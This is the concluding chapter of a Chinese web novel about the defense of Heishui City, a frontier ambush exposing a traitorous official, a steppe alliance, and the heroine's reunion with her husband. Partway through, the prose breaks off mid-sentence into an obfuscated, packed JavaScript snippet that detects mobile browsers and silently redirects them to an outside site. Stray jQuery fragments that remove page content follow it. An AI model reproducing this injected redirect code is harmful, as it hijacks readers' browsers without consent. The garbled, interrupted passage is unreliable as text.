220. 第 220 章

作品:《穿到原主重生之后

    城墙上的陈朝兵士拉满弓,“咻”地破空声响起,然而射程有限,箭矢落在了距离番邦大军两尺开外的位置,便没入泥土之间。


    “哈哈哈哈哈。”番邦大军响起此起彼伏的嘲弄的笑声,他们斩杀被绳索套住的陈朝百姓的速度放缓了些,不过,这并不代表着他们良心发现,而是他们现在十分享受陈朝兵士想救却救不了的无力感。


    这真的让他们生出了发自于内心的得意。


    就像是陈朝人的脖颈被他们套上了绳索一般,可以随意杀害。这种掌握别人生杀大权的感觉不要太好。


    而站在城墙上的陈朝兵士却只能无力地放下手中的弓箭,他们握着弓箭的手还在颤抖,眼角的泪水混着汗水滑落。


    “大人,我申请出城对战!”


    “大人,我要去救陈朝百姓!”


    “大人……”


    风沙裹挟着血腥味扑面而来,城墙上的血迹早已干涸成暗褐色,却仿佛在无声地诉说着战争的残酷。


    胡达听着这一句句的请|命话语,只觉心中热血喷发,若是可以,他也想骑马出城,跟这一群番邦鞑|子决一死战,但……


    他看了眼城外的番邦大军,这些应该是番邦的先锋军,而他现在,不能冲动。


    可真他娘的憋屈啊,再这样消磨下去,战意还能再次凝聚吗?但他知道,一旦开城,黑水城将万劫不复,可百姓的惨叫却如利刃刺入他的心脏。


    胡达闭上眼,深吸一口气,再睁眼时,目光坚定!


    “你们忘了吗?黑水营的兵士绝对不能忘记,比起无谓的血肉牺牲,镇守住陈朝黑水城是我们的使命!大家千万不能上当!”他的声音在风中回荡。


    他身边的副官,立马跟着重复道:“不能上当!”


    “不能上当!”


    “不能上当!!”


    原本只是稀稀拉拉的应和声,到了最后,也不知道是不是身边喊话的人多了,不仅守在城门上的兵士跟着呐喊,就连城门楼之下的兵士也随着这声音呐喊起来。


    他们的声音通过由南吹向北的风声传递到了番邦人的耳中。


    他们中有些人是能简单听懂陈朝话的,这一句句“不能上当。”就像是戳破他们幻想的利刃一般,让他们原本想要通过这些诱使陈朝人开城门迎战的打算落空。


    这种无处宣泄的情绪上头后,为首之人大手一挥,原本扯着套绳在逗弄陈朝人的那些勇士,直接挥刀在这些人身上疯狂劈砍,这一次他们并没有选择颈动脉这种位置,而是钝刀割肉的方式。


    一刀、两刀、三刀……


    “哈哈哈哈哈,你们这群陈朝的懦夫,连自己的民众都救不了,还兵士呢!”番邦兵士故意用着挑衅的声音喊道。


    虽然明白这一切全是鞑|子的诡计,但那些宁可流血不流泪的兵士中,年岁小的忍不住流下了滚烫的眼泪。


    都尉大人振臂高呼:“陈朝的兵士们,你们睁大眼好好看,这番邦人是如何屠杀咱们陈朝的百姓的,同为人,他们这些人是连畜生都不如的货色,连畜生都不会杀同类!”


    “所以,对于这样灭绝人性的枉为人的畜生,我们是不是更应该守住黑水城,为了全城的百姓们不被他们宰杀,我们定要誓死守住黑水城城门!”


    副官跟着附和:“誓死守住黑水城城门!”


    兵士们随声附和:“誓死守住黑水城城门!”


    城墙内忙活的其他众人:“誓死守住黑水城城门!”


    一声一声的呼声,就连远在正阳街的曹茵他们都听到了,她这会儿正在灶房检查李婆子提取出来的高度酒液,


    掀开用棉被包裹住酒液陶釜,曹茵还没凑上前,就闻到了高度酒液特有的气味,她眼中闪过一丝喜色,这味道正是她想要的!


    但为了保险起见,她还是用竹量勺舀了些出来凑到鼻前闻嗅了一番,“很好!这酒液比我酿制提纯的还要好一些,可以分装到葫芦里,送去城门处。”


    李婆子听到这话,不由喜笑颜开!


    她是土生土长的黑水城附近村落人,可以说十分清楚鞑|子攻城和抢掠所造成的伤害,现在终于能做一些力所能及的事情,她自然是开心的,忙不迭点头道:“好的,娘子。”


    曹茵拍了拍她的肩膀,又去了负责研磨药材的何四那里,他们负责制作解毒药粉,毕竟金疮药医药馆已经连续制作的好几日,这些安排来医药馆研磨药物的侍卫们也早已能熟练应对,但是解毒药粉却是新配备的。


    他们这边忙活着,那边城门处发生的事情也顺着兵士们的嘴传到城内的各处,曹茵也从守在此处的兵士嘴里听到了,比起一味愤怒的他们,曹茵看得更为透彻。


    “都尉大人睿智,鞑|子们这么做,就是想用激将法,让我们失去理智,从而开城门而出,跟他们厮打在一起,这样一时看起来可能没有问题,但是要是应激了,便是中了鞑|子们的奸计!”


    曹茵知道,明白,鞑|子的残忍屠杀不过是一场心理战,而胡都尉的冷静应对,正是这场无声战役的关键。“顾安,”她低声呢喃,“你一定要平安归来!”


    若是之前还不能确定这场战役的胜利与否,只是本能的加入其中。但现在听来,不管是都尉大人的沉着冷静应对,还是暂时没听到名号的大将军,都让她意识到,陈朝对这场战役胜利的把握,并不仅仅只是几句单薄的口号。


    起码,都尉大人带领陈朝兵士抗住了番邦的三次进攻,尚未破城。


    是的,这一场杀戮陈朝百姓的做法在曹茵看来,何尝不是一场心理交锋!


    *


    在番邦和陈朝的胡岚关隘,大将军领着兵士们安静的藏在角落,目光如炬地注视着关隘。这关隘是胡达故意泄露给肖志的地图中唯一一个能通过大军的关隘。


    将正面战场留给胡都尉,他率军前来此处,便是为了堵截番邦大军。


    既是堵也是赌!


    若是番邦真有大军在此,那么,肖家暗地勾结番邦的罪名便坐实了。


    夏日的西北,烈日炙烤着大地,路边的野草蔫搭着着叶片,关隘两侧的峭壁上布满了人工开凿的箭孔,每个孔洞后都藏着一名弓弩手。哪怕他们有房屋屋檐作为遮挡,但也挡不住多少。额上的汗水顺着眉骨往眼角流,虫鸣鸟叫,热浪滚滚,护身甲内的衣裳都湿透,但大家依然坚守。


    时间缓缓而过,将士们在烈日下经受着煎熬。


    日头越发偏西,就在大家以为要在这里过夜之时,关隘外传来动静,“哒哒哒”的马蹄声,声音并不算小,就算不将耳朵贴在地面,也能听清楚的程度。


    大将军心下一突突,来了,没想到,还真来了。


    他眼风一扫,副将已悄然拔刀,副将的动作一个传给另一个,很快,他们都做好了准备。


    关隘外的动静越来越大,番邦军如此肆无忌惮地行进,自然不是因为他们单纯自信,而是他们知道这关隘处的守卫军早已被替换成了“自己人”,领兵的番邦勇士,是王庭安排来的勇将,他已经不止一次这般通过这一处关隘,感觉一切都跟往日一样,从这里进入到陈朝的境内,抢一波后,再离去,既不用太多的苦战,又有收获。


    自前朝时,他们就这般操作了,只不过,前朝那个官员是被他们打怕了,而陈朝这个官员却是跟他们一起狼狈为奸。


    想着手上那一份陇西县这片的富户名单,他眉梢微扬。那些陈朝兵士苦苦守着黑水城时,他们已经绕道从这去往陇西县,听说,那里不像黑水城常年受番邦的侵扰之苦,富户都比黑水城的更有油水一些。


    有油水好啊,他们这么长途跋涉,不就是为了得到更多的油水吗?


    站到关隘前,他示意身边的人过去拍门,其他人只是原地停留,没有松懈。


    原本守关隘的兵士哆哆嗦嗦地开门,那敲门的人见到是他后嘴角露出一丝轻蔑的笑意,似乎对这种胆怯的表现早已习以为常。他拍了拍那兵士的肩膀,用番邦话半恐吓半玩笑地说:“别紧张,两脚羊。”


    那兵士勉强挤出一丝笑容,点了点头,却不敢多言。


    沉重的木门在吱呀声中缓缓开启,番邦勇士眯起眼睛,打量着门后那张熟悉的面孔——那是那陈朝官员安排在此守门的兵士。然而,当他的目光扫过对方微微颤抖的手指时,眉头却不易察觉地皱了一下。“今日的风沙,似乎格外大啊。”他用番邦话低声说道,右手已悄然按上了刀柄。


    他意识到了不对劲,但瞧了眼身后的勇士们,他突然又觉得自己可能只是白担心了,喊了一声:“大家注意,别中了埋伏。”的话语后,他们开始进入关隘。


    忽然,一声尖锐的哨响划破长空,紧接着,四面八方传来震天的喊杀声。


    番邦勇士脸色骤变,猛地勒住马缰,大喝道:“有埋伏!撤!”


    然而,为时已晚。


    关隘两侧的山林中,箭矢如雨般倾泻而下,瞬间将番邦的队伍打得措手不及。马匹受惊,嘶鸣着四处乱窜,番邦勇士们慌乱中拔出武器,试图反击,但箭矢的密集攻势让他们根本无法组织有效的抵抗。


    大将军从藏身处一跃而出,手中的长刀在夕阳下闪烁着寒光。他高声喝道:身后的兵士们如猛虎下山,从四面八方冲杀出来,瞬间将番邦的队伍分割包围。


    大将军从藏身处一跃而出,手中长刀在夕阳下划出一道冷冽的弧光,“兄弟们,杀!”他的吼声在关隘中回荡,声浪撞在石壁上,激起阵阵回响。


    刹那间,暗门后的伏兵齐声呐喊,声震山谷。番邦军的阵型在这突如其来的攻势下,如同被利刃劈开的麦浪,瞬间四分五裂。


    番邦勇士心知今日难以全身而退,他挥舞着手中的弯刀,试图突围,然而大将军早已盯上了他。弯刀划出一道银弧,直取大将军咽喉。大将军侧身避过,刀锋顺势上挑,在对方铠甲上留下一道白痕。两人你来我往,刀光剑影间,番邦勇士渐渐力不从心,大将军的刀锋越来越近,最终一刀劈下,番邦勇士惨叫一声,倒在了血泊之中。


    战斗很快结束,番邦的队伍几乎全军覆没,只有少数几人侥幸逃脱。大将军站在关隘前,望着满地的尸体,心中却没有丝毫的喜悦。他知道,这场胜利只是开始,真正的战斗还在后面。


    副将走上前来,低声问道:“将军,接下来我们怎么办?”


    大将军缓缓说道:“立即派人将消息传给朝廷,肖志勾结番邦的罪证已经确凿。同时,留下百人在此防守,安排兵士去将他们的衣裳剥下来,伪装一番后,随我出关去往黑水城。咱们是时候包抄了。”


    副将点头应下,转身去安排。


    大将军望着远方渐渐暗下的天空,心中思绪万千。


    他知道,这场战争不仅仅是与番邦的对抗,更是朝堂内部的权力斗争。肖家的野心已经昭然若揭。不过,这些事也不属于他该操心的事,他只需要听从朝廷的安排,守好肃州的百姓,打趴番邦就好。


    准备完成后,他振臂高呼:“出发,走!”


    而这个时候的草原深处,顾安和赵虎站在帐篷外,吹着傍晚的微风,面上的表情晦暗不明。


    前几日,方虎所率领的陈朝兵士和春客部落勇士们已与顾安他们成功汇合,然后他们在吴淞的带领下一同去了贝尔部落。


    顾安他们想过会不会是一直中立的莫日库,也想过是不是别的小部落,毕竟草原上部落之间也是弱肉强食,小部落必然会被大部落欺负,但是没想到前任春客部落部落长安排的后手会是贝尔部落。


    抵达贝尔部落的营地后,顾安心中仍有些恍惚。


    贝尔部落的族长阿木尔早已在营帐外等候。他身材魁梧,脸上刻着岁月的痕迹,目光却如鹰隼般锐利。见到吴淞,他大步上前,拍了拍他的肩膀,声音洪亮:“吴淞,你终于来了!这几位便是陈朝皇帝安排的人?”


    顾安和赵虎等人朝部落长微微颔首,心中却暗自警惕。贝尔部落与呼伦部落的关系向来紧密,如今却突然倒戈,这其中必有隐情。他看了一眼吴淞,发现他的神色也有些复杂。


    赵虎抱拳一礼,目光如炬地打量着这位草原枭雄。


    阿木尔哈哈一笑,挥了挥手:“陈朝的使者,进帐说话吧!”


    营帐内,炭火正旺,驱散了草原夜晚的寒意。阿木尔亲自为赵虎和吴淞斟上马奶酒,酒香浓郁,却掩盖不住帐内紧张的气氛。


    “陈朝的使者,我知道你们心中有许多疑问。”阿木尔放下酒壶,看向赵虎一行人,“贝尔部落与呼伦部落的关系,的确非同一般。但有些事,不是表面看起来那么简单。”


    赵虎沉声道:“愿闻其详。”


    阿木尔却没有继续这句话,只是笑着看向他们:“你们这趟前来,不应该是来说服我加入你们的联盟吗?怎么却好像是来听我们的故事一般。”他的眼神没有半点笑意,跟鹰隼一般锐利。


    赵虎和顾安几人对视一眼,并没有回答这个问题。


    吴淞叹了口气道:“部落长,您就别逗我们了,王庭的号角早已吹响,我们这番前来所为目的,您还能不知道吗?”


    阿木尔视线停留在吴淞身上许久,“吴淞,你怎么确定你在陈朝的这些年里,我还是当初答应结盟的我,反之,我为何能确定你们前来合作是真心实意的呢?万一,你们根本不是陈朝皇帝派来的,只是那陈朝大官的走狗呢?”


    赵虎:“陈朝大官?”


    阿木尔冷哼一声,脸色瞬间变化,“对,陈朝大官,你们不会以为,呼伦部落只跟王庭合作了吧?”


    “呼伦部落的族长,我的兄弟□□,自从与草原王庭接触后,他的心就不再属于草原了。后来,他又跟陈朝的一位高官搭上,从此草原不再安宁,我们这些部落的勇士就是他权利野心的工具,就好像那些勇士的生命已然不是生命一般。而他付出这么多,仅仅只是将整个草原变成王庭的附庸。”若是他能推翻王庭对草原数百年的统治,他还敬他是个汉子,但问题,牺牲这么多勇士的生命,却只是做了一只听话的狗而已,这一点,却是他怎么都无法接受的。


    赵虎偏头和顾安等人对视一眼,眉头微皱:“既然如此,您为何选择与春客部落合作?”春客部落早已和他们何总


    阿木尔:“前任春客部落的部落长,早就看出了□□的野心。他与我暗中联系,希望能在关键时刻阻止□□。只不过这个计划在十余年前没能施展,如今,吴淞带着你们来了,我总归觉得要听一听你们的计划才来做出决定。”


    顾安心中一震,原来这阿木尔等在这里呢,他不动声色地看向赵虎,赵虎一来,便出示了皇帝给他的令牌,他们一行都听从他的安排。


    赵虎双眼微眯,心中却是在计量,这事的走向似乎脱离了她们原本的走向,原来以为只是简单的一个合作,没想到,这阿木尔竟然也知道陈朝中有高官牵涉其中,而且知道的时间已然不算短了。


    而他们,才知道没多长时间。


    他简直不敢相信这消息要是让皇帝知道后会如何震怒,虽然现在位子上的这位皇帝相比前朝的皇帝来说讲道理多了,但是他毕竟是武将出身,兵匪兵匪,就不知道朝廷会掀起怎样的风雨来。


    但是这些都是后话,现在他要做的,便是……


    赵虎从怀里拿出一个小物件,摆在手掌中心,这是一个花生大小的物件,黑漆漆的,看着好像并不是什么名贵之物,但是从顾安、方虎这些人微缩的眼瞳不难看出,这物件的重要性。


    “这是我这趟来黑水城时,皇帝给我的信物,同样也是虎符,”照理说,虎符是不应该这么随意的拿出来,但是,不得不说,这话说出来,对面的吴淞和阿木尔脸上的神情为之一变,他们只是听过,还从未见过。


    “这真的是虎符?”阿木尔问吴淞。


    吴淞心下翻了个白眼,问他,他怎么知道,不过,自己不知道,但是,他目光看向顾安。不管怎么样,顾安是他表妹的男人,比起赵虎,他还是更信顾安一点点。


    他这一看,在场所有人也顺着时间线看向自己,他脑子里突然想起曹茵在他出发前说的话:“在我梦中,你因通敌叛国而被治罪了。”


    他也不知道为何在这个时候,他想起了曹茵的话语,但他相信自己的自觉。


    “我从未见过虎符,”顾安斟酌道,但在吴淞等人变脸之前,他又道:“但赵统领手中这个样式,的确很像我们都尉大人说过的虎符。”


    这一下,所有人都看向了赵虎,赵虎沉稳道:“我们的计划很简单粗暴,便是将肃州的兵马调了部分来黑水城,若是兵马不够灭王庭和番邦各部落的勇士军的,再从肃州临近的州郡调兵马……”


    这话一出,在场的所有人都屏住了呼吸,这陈朝皇帝这是已经做好了这一次要打趴草原的准备。


    “你们皇帝的计划和虎符,你就敢这么亮在我们面前?”阿米尔看向赵统领,眼神中的狠厉一点也没遮掩,“你就不怕我们抢了你这个虎符,让你没法号令?”


    “呵,”赵虎闻言,反倒将手往他们面前一伸,“你们可以拿,虎符之上还有更能代表皇帝权势的存在,我竟然敢带着来草原,就不怕你们拿走……”话音都还没落下,这个虎符就被阿木尔一把抢走。


    那动作快的,顾安眼前一花,然后赵虎掌中的虎符就那么不见了,而阿木尔举着这小东西,左右上下仔细打量几遍后道:“这么一个小小的东西,真的能号令你们陈朝的兵士?”


    赵虎并没有被他的举动气到,反倒是好脾气的解释:“自然是了,不过,部落长拿着去没用。”就好像对方只是说了个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521748|137042||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    错误的答案,他纠正而已。


    顾安看了眼一旁的方虎,又瞧了眼吴淞,他这一下子也不知道说什么了。


    这时候,阿木尔将虎符递还给赵虎,“好吧,我信吴淞,所以,也就姑且一信你们陈朝人吧,毕竟吴淞的祖父跟我当初也算是盟友,要不是他去世了,或许也轮不到你们这群小子们来做这件事。”语气中带上了几分寂寥。


    没想到他们这批老家伙没能办成的事情,现在落在了这群年轻人身上,或许,结果会不一样吧。


    阿木尔看了眼赵虎,问道:“说吧,接下来该怎么做?”既然赵虎将牌现了出来,那么可以继续下一步的讨论了。


    赵虎收好虎符,看向阿木尔,“不知部落长如何想的?”


    阿木尔眼中闪过一丝冷意:“□□集结了呼伦部落的主力,与王庭军队联手进攻黑水城。我们赶在他们之前不可能,但是草原很大,我们可以去切断他们的后路。”


    吴淞接过话头:“春客部落的勇士也会与贝尔部落的勇士一起,只不过咱们这些人还是太少了。”


    阿木尔点头,“是的,我们部落的部分勇士加入了王庭军中,虽然我保留了一支勇士,但是人数肯定不够。”


    赵虎沉声道:“我们这一批人会加入其中,但是陈朝的兵士在正面战场应对王庭军,背后包抄的兵力还是得靠部落勇士。”其实这计划他们之前就商讨过,只不过面对面谈清楚是第一次。


    阿木尔露出满意的笑容:“有你这句话,我就放心了。来,再喝一杯,为我们的合作干杯!”


    几人举杯相碰,酒香四溢,帐内的气氛也渐渐缓和下来。


    接下来的日子里,赵虎与吴淞、阿木尔一同制定了详细的作战计划,等到王庭勇士领着他们去往黑水城攻城时,他们也不远不近的跟在了背后。


    等到夜幕降临之时,黑水城外番邦兵士退回到他们的营地,黑水城内则是替换了北城门的兵士,受重伤的送去治疗,轻伤的包扎一番后端着碗先吃饱肚子再说。


    不得不说,黑水城在守城这件事情上有着丰富的经验,就连平民百姓也都是井然有序地忙碌着。


    那些军医忙完手头的活计之后,又来到了正阳街的医药馆这边,主动的加入研磨药材制作药粉的工作中。


    这一晚,医药馆的火把和油灯到了二更天的时候才算是熄灭。


    “咚!咚!咚!”战鼓声穿透黎明的薄雾,曹茵猛地坐起身,指节被自己捏得发白。下了炕,刚走到院子里,就听见了城北震天的动静,顾不上别的,医药馆的大家伙儿忙碌了起来。


    北城门方向,出现了一朵巨大的烟火在半空炸开,曹茵不知道这个信号是什么意思。她几乎跌撞着冲出房门,正撞见李婆子举着刚制好的高度酒液站在院子里跟一名骑在马背上的兵士说话,直到俩人同时往她这边看过来,曹茵才看清楚这人正是奉命守在医药馆的李四得。


    “曹娘子,”李四得脸上洋溢着大大的笑容:“顾老大他们领着草原联盟兵来了,还有大将军的兵一起,我们得去城门处,那边已经乱成一团了。”


    曹茵的心砰砰砰的直跳,顾安回来了,顾安回来了,虽然还要打战,虽然战火无情,但是他回来了,是不是意味着自己的那个预知梦已经破解了。


    这一场战,因为大将军所率领的队伍和草原联盟军的出现而对番邦兵士呈现出压倒性的压制。


    站在城墙之上的黑水城兵士们,瞧见地平线上,两支大军如黑色洪流般席卷而来,为首的战旗上赫然绣着“陈”字。守军突然爆发出震天的欢呼。


    北边的这支队伍中竟夹杂着草原骑兵,他们打着贝尔部落的鹰旗与春客部落的狼头旗在晨风中猎猎作响。而东边的队伍便是大将军率领的队伍。


    番邦兵士的主将显然也发现了异样,号角声骤然急促。然而为时已晚,大将军的部队已如尖刀般插入番邦大军的侧翼。赵虎、顾安率领的草原骑兵则从后方包抄,将番邦军队困死在黑水城下。


    “放箭!”胡都尉的吼声在城头炸响,此刻他们终于一扫之前的憋闷,将手上的弓拉满,箭如箭雨一般射向番邦兵士!


    战斗持续到正午,番邦军队终于溃不成军。大将军一马当先,长刀所向,直取番邦主将的人头。


    主将的人头都被大将军拎在手中,他驾着马在混战的兵士里面狂奔,他身旁护卫着他的亲卫们,高声喊道:“王庭军统帅的人头在此,尔等还不速速投降。”


    这声音十分具有穿透力,城墙上的兵士们也随着一起高呼,用番邦语高呼,慢慢的,那些王庭军的兵士放下了手中的弯刀,做出降服的姿态。


    沉闷的木头声后,黑水城的城门此刻从外向里打开,黑水城的兵士冲出城门,帮着一起处理后续的事情。


    而被大将军斩杀的番邦大军的领头人的头颅,被挂在了黑水城之上,以儆效尤!


    胜利的消息传播在了黑水城的大街小巷,曹茵根本等不及顾安回来,与何四、李婆子他们交代几句后,骑着小棕去城门处找寻顾安的身影。


    她实在是等不及了,此刻就想要见到顾安,她将顾安给她的匕首拿在手上,骑着马窜入了城外的兵士中。


    现在的城门处都是乱的,曹茵策马穿过遍地残旗,午后斜阳将她的影子拉得细长,映在城楼斑驳的砖石上。


    她的目光焦急地在人群中搜寻,直到看见那个熟悉的身影。


    顾安正倚在城楼下,左肩缠着染血的绷带,却仍对着身边的将士们说着什么,脸上挂着疲惫却温暖的笑容。


    “顾安!”曹茵的声音有些颤抖,却又带着抑制不住的喜悦。她翻身下马,顾安闻声转头,眼中瞬间亮起光芒。


    “曹茵!”他大步向她走来。


    曹茵向他跑过去,却在最后一刻硬生生地停住了,他受伤了,她的眼眶泛红,扑向了他,却在最后一刻硬生生停住,生怕碰到他的伤口。


    顾安大步走向她,用右手将曹茵揽入怀中,左臂虚虚环着,虽然因牵动伤口而微微皱眉,但他却没放手。那力道重的,曹茵感觉自己的腰都要碎了,她眼眶泛红,声音里带着几分嗔怪:“你这个傻子,都受伤了为何还要这般用力。”


    顾安伸手拭去曹茵脸上不知何时落下的泪珠,直接将心中的想法说了出来:“我想你了!可你怎么哭了?”


    曹茵瞪了他一眼,心想就不能喜极而泣吗?粉拳刚要落下就被顾安的大手包裹住。他牵着她的手,轻轻按在自己心口。但也只停留了一瞬,曹茵手腕一转,拉住他的手,去了临时设置在城墙下的医疗棚。


    里面的军医正忙着给受伤的兵士包扎。见到有人进来军医也只是抬头看了眼,发现是曹娘子后,轻声打了声招呼,又低头忙碌起来。


    医疗棚内弥漫着金疮药苦涩的气味,夹杂着血腥气。曹茵找到金疮药,解开肩头渗血的布条,小心翼翼地帮他上药。顾安看着她专注的侧脸,忽然轻声说道:“茵娘,我终于活着回来看到你了,见到我,你开心吗?”


    曹茵手上的动作一顿,抬头看向他:“嗯,我很开心。”终于,那预知梦里的未来被破解了,而她,再也不用提心吊胆,而他们也算是苦尽甘来。


    顾安笑着伸手想要去牵她的手,却被曹茵灵巧地避开:“我手上全是药呢,”她瞥了眼周围,压低声音,“注意点形象。”话音未落,旁边一个正在包扎的伤兵嘿嘿一笑:“千户大人,嫂子这是心疼你呢!”满棚的伤兵顿时哄笑起来。


    医疗棚的粗麻布帘忽地被风掀起,暮色将曹茵鬓角的细汗染成淡金色,她脸颊微微泛着红,低下头继续包扎,“你别闹了,我简单涂抹点药粉后就给你包扎好。”


    “遵命,千户娘子!”顾安正经道。


    曹茵笑嗔他一句:“胡闹!”手上的动作没停。


    等到包扎好后,两人前后出了医疗棚,阳光洒在两人身上,将他们的身影拉得很长。城楼上,将士们的欢呼声此起彼伏,而在这喧嚣中,他们的笑声却格外清晰。


    “曹茵。”顾安忽然轻声唤她。


    “嗯?”


    “曹茵,等这一切结束,我带你回云洲。咱们把岳父岳母和弟弟妹妹都接来肃州,好不好?”


    曹茵抬头,对上他认真的目光,嘴角扬起一抹笑意:“好啊。”这是两人之前便商量过的事,没想到他记到了现在。


    顾安笑着看向曹茵,“曹茵,从今往后,我守着你,咱们相携到老,好不好?”


    曹茵轻笑出声,在顾安深情的注视之下点了点头,“嗯!”眼中满是幸福的光芒。


    这一刻,所有的战争、阴谋、伤痛仿佛都远去了,所谓的女配的既定命运所带来的枷锁也不存在了,只剩下他们彼此的笑颜,在阳光下熠熠生辉。


    (全书完)